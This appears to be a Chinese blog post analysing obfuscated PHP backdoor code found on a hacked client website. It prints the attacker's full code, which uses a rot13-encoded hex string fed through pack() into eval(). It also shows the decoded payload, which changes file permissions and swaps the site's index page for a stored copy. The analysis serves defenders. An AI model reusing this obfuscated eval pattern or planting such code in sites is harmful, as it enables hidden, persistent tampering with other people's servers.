黑客入侵你网站后写了什么代码_黑客代码解析
一个偶然的机会 , 我们在为客户服务时捕获了一组黑客写的代码
代码写了龙飞凤舞 , 接下来
上代码....
error_reporting(E_ERROR);
$file_path = '/www/wwwroot/club.arpara.net/index.php';
function get_str($dapeng)
{
$dapeng = str_rot13($dapeng);
return $dapeng;
}
function s()
{
$dapeng = "63686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o206966282166696p655s6578697374732827696r6465782r626o2r68746q6p2729297o2069662028636s70792824474p4s42414p535o2766696p655s70617468275q2p2027696r6465782r626o2r68746q6p2729297o207072696r745s7228273p7469746p653r666972737420636s707920737563636573733p2s7469746p653r3p68343r666972737420636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r666972737420636s7079206661696p65643p2s7469746p653r3p68343r666972737420636s7079206661696p65643p2s68343r27293o207q207q656p73657o2069662028636s70792827696r6465782r626o2r68746q6p272p2024474p4s42414p535o2766696p655s70617468275q29297o207072696r745s7228273p7469746p653r636s76657220636s707920737563636573733p2s7469746p653r3p68343r636s76657220636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r636s76657220636s7079206661696p65643p2s7469746p653r3p68343r636s76657220636s7079206661696p65643p2s68343r27293o207q207q2063686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o3o";
$dapeng = get_str($dapeng);
m($dapeng);
}
function get1_str($dapeng1)
{
return $dapeng1 . "ck";
}
function m($dapeng)
{
$dapeng1 = "pa";
$dapeng1 = get1_str($dapeng1);
$dp = '';
eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp);
}
s();
分析黑客代码 S函数
首先我们通过尾部直接执行的代码 来分析这段玩意的执行结果;
代码第32行
s();这个代码 , 是不是很袖珍 , 不注意看 , 竟然不知道这货是个函数 , 我还以为是S君在鼓掌呢!
接下来看看这段执行了什么?
function s()
{
$dapeng = "63686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o206966282166696p655s6578697374732827696r6465782r626o2r68746q6p2729297o2069662028636s70792824474p4s42414p535o2766696p655s70617468275q2p2027696r6465782r626o2r68746q6p2729297o207072696r745s7228273p7469746p653r666972737420636s707920737563636573733p2s7469746p653r3p68343r666972737420636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r666972737420636s7079206661696p65643p2s7469746p653r3p68343r666972737420636s7079206661696p65643p2s68343r27293o207q207q656p73657o2069662028636s70792827696r6465782r626o2r68746q6p272p2024474p4s42414p535o2766696p655s70617468275q29297o207072696r745s7228273p7469746p653r636s76657220636s707920737563636573733p2s7469746p653r3p68343r636s76657220636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r636s76657220636s7079206661696p65643p2s7469746p653r3p68343r636s76657220636s7079206661696p65643p2s68343r27293o207q207q2063686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o3o";
$dapeng = get_str($dapeng);
m($dapeng);
}
神奇吧 , 是不是看不懂 , 没关系 , 听我猥猥道来;
变量 $dapeng 显然是个字符串; //PS : 有啥用我们先不管
$dapeng = get_str($dapeng);//赋值操作 , 吧函数返回值赋值 给 $dapeng
m($dapeng); //执行m函数
卧槽 这里又多了两个函数 ....
所以别着急等下回分解...
字符串编码函数 get_str 隐蔽身形
function get_str($dapeng)
{
$dapeng = str_rot13($dapeng);
return $dapeng;
}
S函数中 又两个函数 , 先执行的函数 get_str 内部结构非常简单
他是为了不让我们使用DW等工具搜索到相关代码才特意编写的
黑客可以用预先编辑好的特定文本放入 $dapeng 当作字符串
然后在使用 str_rot13 函数进行解码 , 得到黑客想要的数字
这就是为什么我们的网站中了后门后死活都找不到后门文件的原因
当然光凭这点还不足以恶心你...
因为这个变量返回结果其实是这样的
63686d6f642824474c4f42414c535b2766696c655f70617468275d2c2030363636293b206966282166696c655f6578697374732827696e6465782e626b2e68746d6c2729297b2069662028636f70792824474c4f42414c535b2766696c655f70617468275d2c2027696e6465782e626b2e68746d6c2729297b207072696e745f7228273c7469746c653e666972737420636f707920737563636573733c2f7469746c653e3c68343e666972737420636f707920737563636573733c2f68343e27293b207d656c73657b207072696e745f7228273c7469746c653e666972737420636f7079206661696c65643c2f7469746c653e3c68343e666972737420636f7079206661696c65643c2f68343e27293b207d207d656c73657b2069662028636f70792827696e6465782e626b2e68746d6c272c2024474c4f42414c535b2766696c655f70617468275d29297b207072696e745f7228273c7469746c653e636f76657220636f707920737563636573733c2f7469746c653e3c68343e636f76657220636f707920737563636573733c2f68343e27293b207d656c73657b207072696e745f7228273c7469746c653e636f76657220636f7079206661696c65643c2f7469746c653e3c68343e636f76657220636f7079206661696c65643c2f68343e27293b207d207d2063686d6f642824474c4f42414c535b2766696c655f70617468275d2c2030363636293b3b你说说这是个啥 , 你是不是也不知道...
好了 , 一如既往 , 放着不管 ...
我们往下看...
m() 函数...
坑爹的M函数 , 燃烧你的猪脑!!!
他的代码是这样的!
function m($dapeng)
{
$dapeng1 = "pa";
$dapeng1 = get1_str($dapeng1);
$dp = '';
eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp);
}
看到这里的童鞋应该知道了 , 这货肯定是想执行啥
但是又不方便写的太明白~~
以免被机智的你花线了~
那么我们还是依照管理 , 来解剖它~
$dapeng1 = "pa"; //字符串赋值
$dapeng1 = get1_str($dapeng1); //函数赋值
$dp = ''; //空字符赋值
eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp); //执行了某个拼装的命令
好吧我们又多了个要分析的函数 get1_str
下回....
pack组装大师 get1_str 函数
他长这样
function get1_str($dapeng1)
{
return $dapeng1 . "ck";
}
那么从执行他的上层来看
$dapeng1 = "pa";
$dapeng1 = get1_str($dapeng1);
他的执行状态是这样的
function get1_str("pa")
{
return "pa" . "ck";
}
于是乎 可以得出我们的 $dapeng1 值最终为 "pcak" 字符串;
那么 最后两行
$dp = '';
eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp);
意思也就很明确了吧
这就是执行 pcak("H*","上面那一长串字符串");
绕了这么一大圈 , 其实就是为了扰乱干扰我们的视线;
那么 PACK 是啥玩意呢 那是 把数据装入一个二进制字符串 官方解释
下回分解吧~
最终解析出黑客真正想要执行的代码其实是
$dapeng = "63686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o206966282166696p655s6578697374732827696r6465782r626o2r68746q6p2729297o2069662028636s70792824474p4s42414p535o2766696p655s70617468275q2p2027696r6465782r626o2r68746q6p2729297o207072696r745s7228273p7469746p653r666972737420636s707920737563636573733p2s7469746p653r3p68343r666972737420636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r666972737420636s7079206661696p65643p2s7469746p653r3p68343r666972737420636s7079206661696p65643p2s68343r27293o207q207q656p73657o2069662028636s70792827696r6465782r626o2r68746q6p272p2024474p4s42414p535o2766696p655s70617468275q29297o207072696r745s7228273p7469746p653r636s76657220636s707920737563636573733p2s7469746p653r3p68343r636s76657220636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r636s76657220636s7079206661696p65643p2s7469746p653r3p68343r636s76657220636s7079206661696p65643p2s68343r27293o207q207q2063686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o3o";
$dapeng = str_rot13($dapeng);
echo pack("H*",$dapeng);
那么我们通过 ECHO 这个结果得出
chmod($GLOBALS['file_path'], 0666);
if(!file_exists('index.bk.html')){
if (copy($GLOBALS['file_path'], 'index.bk.html')){
print_r('first copy success');
}else{
print_r('first copy failed');
}
}else{
if (copy('index.bk.html', $GLOBALS['file_path'])){
print_r('cover copy success');
}else{
print_r('cover copy failed');
}
}
chmod($GLOBALS['file_path'], 0666);;
接下来我们知道 , 为什么 , 我们的index 文件总是被墨名奇妙的更改了
chmod($GLOBALS['file_path'], 0666);// 修改文件权限
if(!file_exists('index.bk.html')){//如果黑客文件不存在
if (copy($GLOBALS['file_path'], 'index.bk.html')){ //则生成一个文件到黑客控制的目录 (拷贝了文件后会用另一段代码加入一些劫持的头部)
print_r('first copy success');
}else{
print_r('first copy failed');
}
}else{
if (copy('index.bk.html', $GLOBALS['file_path'])){//如果文件存在 , 则会直接替换掉你的原有主页
print_r('cover copy success');
}else{
print_r('cover copy failed');
}
}
chmod($GLOBALS['file_path'], 0666);;// 修改文件权限
至于修改劫持的部分 , 我们很不幸的没拿到 , 这次就不能分析了
总而言之言而总之
学到了吧哈哈...
页:
[1]